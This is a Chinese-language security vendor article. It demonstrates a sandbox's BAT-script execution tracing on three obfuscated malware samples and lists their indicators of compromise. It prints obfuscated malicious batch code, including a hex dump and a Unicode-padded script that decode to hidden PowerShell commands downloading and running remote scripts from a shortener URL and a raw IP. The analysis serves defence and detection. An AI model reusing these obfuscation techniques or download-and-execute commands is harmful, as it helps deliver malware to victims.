一、概述

在Windows系统中,批处理(BAT)脚本作为一种自动化执行工具,因其简单易用、无需额外依赖的特性,被广泛用于系统管理、文件操作、程序批量处理等场景。然而,随着安全需求的提升,越来越多的BAT脚本利用混淆技术来隐藏真实意图,尤其是在恶意软件领域。这些混淆手段使得分析人员难以直接阅读和理解脚本的逻辑,增加了逆向分析的难度。为应对这一挑战,天穹沙箱推出BAT脚本执行追踪技术,通过追踪脚本的执行过程,获取脚本运行时的实际命令序列,可以绕过静态分析中的混淆障碍,还原脚本的真实行为。

二、BAT脚本混淆手段

当前常见的BAT脚本混淆技术主要包括以下几类:

字符串替换混淆

使用SET命令将关键字符或命令替换为随机的字符串组合‌,通过多次变量替换构建最终的有效命令‌。

  • 混淆代码示例

    1
    2
    3
    set "x1=cmd"
    set "x2=/c"
    %x1% %x2%
  • 最终输出代码

    1
    cmd /c

转义字符混淆

大量使用^%!等特殊字符打断命令的可读性,利用cmd的特殊字符处理规则构造合法但难以理解的命令‌。

  • 混淆代码示例

    1
    c^md.e^xe /^c calc.ex^e
  • 最终输出代码

    1
    cmd.exe calc.exe

编码混淆

将部分命令转换为ASCII码或其他编码形式,通过改变脚本编码格式或内容表示形式来隐藏真实逻辑。

  • UTF-16LE编码混淆示例

    1
    FF FE 26 63 6C 73 0D 0A 65 63 68 6F 20 61 62 63 ; ?cls..echo abc
  • 最终输出代码

    1
    2
    cls 
    echo abc

三、BAT脚本执行追踪技术

为还原和辨别BAT脚本的真实逻辑和意图,天穹沙箱引入了BAT脚本动态执行追踪技术,该技术通过动态监控脚本执行过程中的每一个关键环节,实时捕获并记录脚本运行时的实际命令序列、参数传递及执行流程,如图1所示。相较于传统的静态分析方法,这种动态追踪技术能够有效绕过代码混淆、加密变形等反检测手段,直接获取脚本在真实环境中的行为表现。通过对执行轨迹的深度分析,沙箱可以精准还原脚本的原始逻辑意图,识别潜在的恶意操作模式,如文件篡改、注册表修改、网络通信等危险行为。此外,该技术还支持对脚本执行上下文环境的全面记录,包括调用的系统API、访问的资源对象以及产生的临时文件等,为行为分析和威胁判定提供多维度数据支撑。

效果展示
图1 天穹沙箱BAT脚本追踪示意图

四、BAT脚本执行追踪能力展示

样本一

报告链接: 样本分析报告

样本一采用了BatCloak‌(高级恶意软件混淆引擎)进行多层混淆,该混淆引擎结合了‌动态变量替换、代码分段加密、随机垃圾字符填充‌等技术,能够有效绕过传统杀毒软件的静态检测机制。首先,我们让TQ-GPT总结一下样本的主要行为,如图2所示:

tqgpt-sample1

图2 TQ-GPT总结样本一主要行为

接下来对样本代码进行分析,以下是部分混淆代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@echo off
set "WEbh=set "
%WEbh%"Cvgp=="
%WEbh%"cTumnlUZgl%Cvgp%f"
%WEbh%"gKrwSeGCCk%Cvgp%@ech"
%WEbh%"GKRAwDyZpW%Cvgp%o of"
%gKrwSeGCCk%%GKRAwDyZpW%%cTumnlUZgl%
%WEbh%"QNrfAmHlVf%Cvgp%y "%~0."
%WEbh%"IULQMNPLPr%Cvgp%1.0\"
%WEbh%"VUcQpDANyQ%Cvgp%dows"
%WEbh%"TbkiwLtcac%Cvgp%ows\"
%WEbh%"qLfIYymvbn%Cvgp%\Win"
%WEbh%"kmmpejHjHv%Cvgp%em32"
%WEbh%"JCVuSGOUdn%Cvgp%Powe"
%WEbh%"gKrwSeGCCk%Cvgp%copy"
%WEbh%"fIMxwixJDf%Cvgp%Syst"
%WEbh%"ejuEMuCezX%Cvgp%rShe"
%WEbh%"KrsOjMzxeU%Cvgp%powe"
%WEbh%"cTumnlUZgl%Cvgp%Wind"
%WEbh%"ERoinEKTgx%Cvgp%xe /"
%WEbh%"vsUCEjyDRY%Cvgp%ll.e"
%WEbh%"awnAUGVFkC%Cvgp%rshe"
%WEbh%"SkAnVrxPjZ%Cvgp%exe""
%WEbh%"GKRAwDyZpW%Cvgp% C:\"
%WEbh%"VcHqjqkwaB%Cvgp%ll\v"

通过分析发现,该样本主要利用了变量名混淆‌、字符串分段拼接‌、嵌套变量引用等混淆手段:

  • 变量名混淆‌

    使用无意义的随机大小写字母组合作为变量名(如WEbh、Cvgp等),通过set命令动态赋值‌。

  • 字符串分段拼接‌

    将完整命令拆分为多段存储在变量中,例如:%WEbh%"gKrwSeGCCk%Cvgp%copy",实际存储"copy"命令片段‌;通过%变量名%动态引用命令拼接‌。

  • 嵌套变量引用

    使用%Cvgp%作为中间变量存储公共字符(如等号=),其他变量通过引用该变量构建完整字符串‌,例如:%cTumnlUZgl%Cvgp%Wind% 实际拼接为Windows

人工分析上述代码耗时费力,通过天穹沙箱的脚本追踪功能,可以快速捕获关键执行命令,如图3所示。从追踪结果看,样本首先拷贝了powershell.exe到同级目录,随后从BAT文件注释中提取Base64编码后的Payload,并使用AES解密Payload,最终调用 Invoke-Expression 反射执行解密后的PE文件。

脚本追踪展示1

图3 样本一脚本执行追踪结果

样本二

报告链接: 样本分析报告

使用TQ-GPT总结样本二的主要行为,如图4所示:

tqgpt-sample2

图4 样本二主要行为总结

接下来对样本代码进行分析,以下是部分混淆代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
00000000h: FF FE 26 63 6C 73 0D 0A 65 63 68 6F 20 61 62 63 ; ?cls..echo abc
00000010h: 64 65 66 67 73 64 66 73 64 66 73 68 79 6B 6C 6D ; defgsdfsdfshyklm
00000020h: 6E 64 73 64 61 62 63 64 65 66 6F 68 68 79 6B 6C ; ndsdabcdefohhykl
00000030h: 6D 39 38 32 33 37 34 6A 73 6A 64 66 68 73 38 64 ; m982374jsjdfhs8d
…………………………
0003ffd0h: 0A 0D 0A 73 74 61 72 74 20 2F 6D 69 6E 20 63 6D ; ...start /min cm
0003ffe0h: 64 20 2F 63 20 22 70 6F 77 65 72 73 68 65 6C 6C ; d /c "powershell
0003fff0h: 20 2D 57 69 6E 64 6F 77 53 74 79 6C 65 20 48 69 ; -WindowStyle Hi
00040000h: 64 64 65 6E 20 2D 43 6F 6D 6D 61 6E 64 20 49 6E ; dden -Command In
00040010h: 76 6F 6B 65 2D 57 65 62 52 65 71 75 65 73 74 20 ; voke-WebRequest
00040020h: 2D 55 72 69 20 27 68 74 74 70 73 3A 2F 2F 74 69 ; -Uri 'https://ti
00040030h: 6E 79 75 72 6C 2E 63 6F 6D 2F 74 31 2D 6D 68 31 ; nyurl.com/t1-mh1
00040040h: 2D 33 31 30 33 32 35 27 20 2D 4F 75 74 46 69 6C ; -310325' -OutFil
00040050h: 65 20 27 25 54 45 4D 50 25 5C 74 65 6D 70 2E 62 ; e '%TEMP%\temp.b
00040060h: 61 74 27 3B 20 53 74 61 72 74 2D 50 72 6F 63 65 ; at'; Start-Proce
00040070h: 73 73 20 2D 46 69 6C 65 50 61 74 68 20 27 25 54 ; ss -FilePath '%T
00040080h: 45 4D 50 25 5C 74 65 6D 70 2E 62 61 74 27 20 2D ; EMP%\temp.bat' -
00040090h: 57 69 6E 64 6F 77 53 74 79 6C 65 20 48 69 64 64 ; WindowStyle Hidd
000400a0h: 65 6E 22 0D 0A 0D 0A 0D 0A 65 63 68 6F 20 61 62 ; en"......echo ab
000400b0h: 63 64 65 66 67 73 64 66 73 64 66 73 68 79 6B 6C ; cdefgsdfsdfshykl
000400c0h: 6D 6E 64 73 64 61 62 63 64 65 66 6F 68 68 79 6B ; mndsdabcdefohhyk
000400d0h: 6C 6D 39 38 32 33 37 34 6A 73 6A 64 66 68 73 38 ; lm982374jsjdfhs8
000400e0h: 64 37 66 33 32 6A 72 68 39 33 32 72 68 73 6B 64 ; d7f32jrh932rhskd
000400f0h: 6A 66 38 33 6E 66 6F 73 64 73 64 66 73 64 66 33 ; jf83nfosdsdfsdf3

通过分析发现,该样本主要采用了编码混淆(UTF-16 BOM)、超长干扰字符串等混淆手段:

  • 编码混淆

    在文件起始位置添加\xFF\xFE字节序标记(BOM),强制声明为UTF-16LE编码格式,后续写入内容则是ASCII编码格式,这破坏了常规BAT文件特征‌,直接使用记事本或其他文本编辑器打开会乱码,如图5所示,这种方式也能有效干扰EDR静态识别。而cmd.exe在解析BAT脚本时会以ASCII格式解码,在遇到不可解释字符(如BOM头)会忽略跳过,因此并不影响脚本执行。

    image-20250416151426277

    图5 使用UTF-16解析乱码
  • 超长干扰字符串

    真正的恶意隐藏在超长字符串中,难以快速确定恶意代码的位置,例如开头的echo abc...就是打印一个超长字符串,从偏移地址0003ffd0h开始,才是恶意代码真正开始的位置。

通过天穹沙箱的脚本追踪功能,可以看到样本在输出长字符串后,调用Powershell远程下载temp.bat并执行,如图6所示:

脚本追踪展示2

图6 样本二脚本执行追踪结果

样本三

报告链接: 样本分析报告

使用TQ-GPT总结样本三的主要行为,如图7所示:

tqgpt-sample3

图7 样本三主要行为总结

接下来对样本代码进行分析,以下是部分混淆代码:

1
2
3
@%⒕Ժբ⒖⒓ლ%e%⒕Ժբ⒖⒓ლ%c%⒕Ժբ⒖⒓ლ%h%⒕Ժբ⒖⒓ლ%o%⒕Ժբ⒖⒓ლ% %⒕Ժբ⒖⒓ლ%o%⒕Ժբ⒖⒓ლ%f%⒕Ժբ⒖⒓ლ%f%⒕Ժբ⒖⒓ლ%
s%⒕Ժբ⒖⒓ლ%e%⒕Ժբ⒖⒓ლ%t%⒕Ժբ⒖⒓ლ% %⒕Ժբ⒖⒓ლ%"%⒕Ժբ⒖⒓ლ%u%⒕Ժբ⒖⒓ლ%r%⒕Ժբ⒖⒓ლ%l%⒕Ժբ⒖⒓ლ%=%⒕Ժբ⒖⒓ლ%h%⒕Ժբ⒖⒓ლ%t%⒕Ժբ⒖⒓ლ%t%⒕Ժբ⒖⒓ლ%p%⒕Ժբ⒖⒓ლ%:%⒕Ժբ⒖⒓ლ%/%⒕Ժբ⒖⒓ლ%/%⒕Ժբ⒖⒓ლ%1%⒕Ժբ⒖⒓ლ%4%⒕Ժբ⒖⒓ლ%7%⒕Ժբ⒖⒓ლ%.%⒕Ժբ⒖⒓ლ%4%⒕Ժբ⒖⒓ლ%5%⒕Ժբ⒖⒓ლ%.%⒕Ժբ⒖⒓ლ%4%⒕Ժբ⒖⒓ლ%4%⒕Ժբ⒖⒓ლ%.%⒕Ժբ⒖⒓ლ%1%⒕Ժբ⒖⒓ლ%3%⒕Ժբ⒖⒓ლ%1%⒕Ժբ⒖⒓ლ%/%⒕Ժբ⒖⒓ლ%i%⒕Ժբ⒖⒓ლ%n%⒕Ժբ⒖⒓ლ%f%⒕Ժբ⒖⒓ლ%o%⒕Ժբ⒖⒓ლ%p%⒕Ժբ⒖⒓ლ%a%⒕Ժբ⒖⒓ლ%g%⒕Ժբ⒖⒓ლ%e%⒕Ժբ⒖⒓ლ%/%⒕Ժբ⒖⒓ლ%b%⒕Ժբ⒖⒓ლ%h%⒕Ժբ⒖⒓ლ%d%⒕Ժբ⒖⒓ლ%.%⒕Ժբ⒖⒓ლ%p%⒕Ժբ⒖⒓ლ%s%⒕Ժբ⒖⒓ლ%1%⒕Ժբ⒖⒓ლ%"%⒕Ժբ⒖⒓ლ%
s%⒕Ժբ⒖⒓ლ%t%ლ’はчnо☆(系%a%ლ’はчnо☆(系%r%ლ’はчnо☆(系%t%ლ’はчnо☆(系% %ლ’はчnо☆(系%/%ლ’はчnо☆(系%B%ლ’はчnо☆(系% %ლ’はчnо☆(系%p%ლ’はчnо☆(系%o%ლ’はчnо☆(系%w%ლ’はчnо☆(系%e%ლ’はчnо☆(系%r%ლ’はчnо☆(系%s%ლ’はчnо☆(系%h%ლ’はчnо☆(系%e%ლ’はчnо☆(系%l%ლ’はчnо☆(系%l%ლ’はчnо☆(系% %ლ’はчnо☆(系%-%ლ’はчnо☆(系%W%ლ’はчnо☆(系%i%ლ’はчnо☆(系%n%ლ’はчnо☆(系%d%ლ’はчnо☆(系%o%ლ’はчnо☆(系%w%ლ’はчnо☆(系%S%ლ’はчnо☆(系%t%ლ’はчnо☆(系%y%ლ’はчnо☆(系%l%ლ’はчnо☆(系%e%ლ’はчnо☆(系% %ლ’はчnо☆(系%H%ლ’はчnо☆(系%i%ლ’はчnо☆(系%d%ლ’はчnо☆(系%d%ლ’はчnо☆(系%e%ლ’はчnо☆(系%n%ლ’はчnо☆(系% %ლ’はчnо☆(系%-%ლ’はчnо☆(系%c%ლ’はчnо☆(系%o%ლ’はчnо☆(系%m%ლ’はчnо☆(系%m%ლ’はчnо☆(系%a%ლ’はчnо☆(系%n%ლ’はчnо☆(系%d%ლ’はчnо☆(系% %ლ’はчnо☆(系%"%ლ’はчnо☆(系%i%ლ’はчnо☆(系%w%ლ’はчnо☆(系%r%ლ’はчnо☆(系% %ლ’はчnо☆(系%-%ლ’はчnо☆(系%u%ლ’はчnо☆(系%s%ლ’はчnо☆(系%e%ლ’はчnо☆(系%b%ლ’はчnо☆(系% %ლ’はчnо☆(系%'%ლ’はчnо☆(系%%url%'%ლ’はчnо☆(系%

通过分析发现,该样本主要采用Unicode字符插入混淆、动态变量拼接、多语言混合编码‌等混淆手段:

  • Unicode字符插入混淆‌

    在关键命令字符间插入非常用Unicode字符(如⒕Ժբ⒖⒓ლ’はчnо☆等),例如e%⒕Ժբ⒖⒓%c%⒕Ժբ⒖⒓%h%⒕Ժբ⒖⒓%o实际是echo命令的分割形式。

  • 动态变量拼接‌

    使用环境变量分隔符(%)包裹混淆字符,如%⒕Ժբ⒖⒓%会被解释为空值,最终拼接成有效命令:%@%x% → %x%(空变量)→ 实际执行时被忽略。

  • 多语言混合编码‌

    混合西里尔字母(ч)、日文(は)、格鲁吉亚字母(ლ)等,利用不同字符集的相似字形干扰人工审计。

通过天穹沙箱的脚本追踪功能,可以看到样本后台执行远程Powershell脚本,这是典型的无文件攻击,如图8所示:

脚本追踪展示3

图8 样本三脚本执行追踪结果

五、IOC

恶意文件(SHA1)

1
2
3
690b3330710e0c56829ac63e7c9bb6aee3b15a05        样本一哈希
0de2d1a2d6c273ee3707eb6f1becb3882d519714 样本二哈希
c555e839f06f667dbe8af735340fd62bf5062f2b 样本三哈希

恶意链接

1
2
3
4
https[:]//tinyurl[.]com/t1-mh1-310325           样本二远程下载地址
http[:]//147.45.44.131/infopage/bhd.ps1 样本三远程下载地址
tinyurl[.]com 样本二C2地址
147.45.44.131 样本三C2地址

其他恶意信息

1
2
0xbf2fddf426ef7f6f2757a6d1f644f1e25cfeb6d2      样本一以太坊(ETH)账户地址
kazyabil@protonmail.com 样本一勒索邮箱

分析报告

样本一分析报告:天穹沙箱分析报告

样本二分析报告:天穹沙箱分析报告

样本三分析报告:天穹沙箱分析报告

六、 技术支持与反馈

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们追求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

code.png


天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。

天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。

天穹公网地址:https://sandbox.qianxin.com

天穹内网地址(使用域账号登录):https://sandbox.qianxin-inc.cn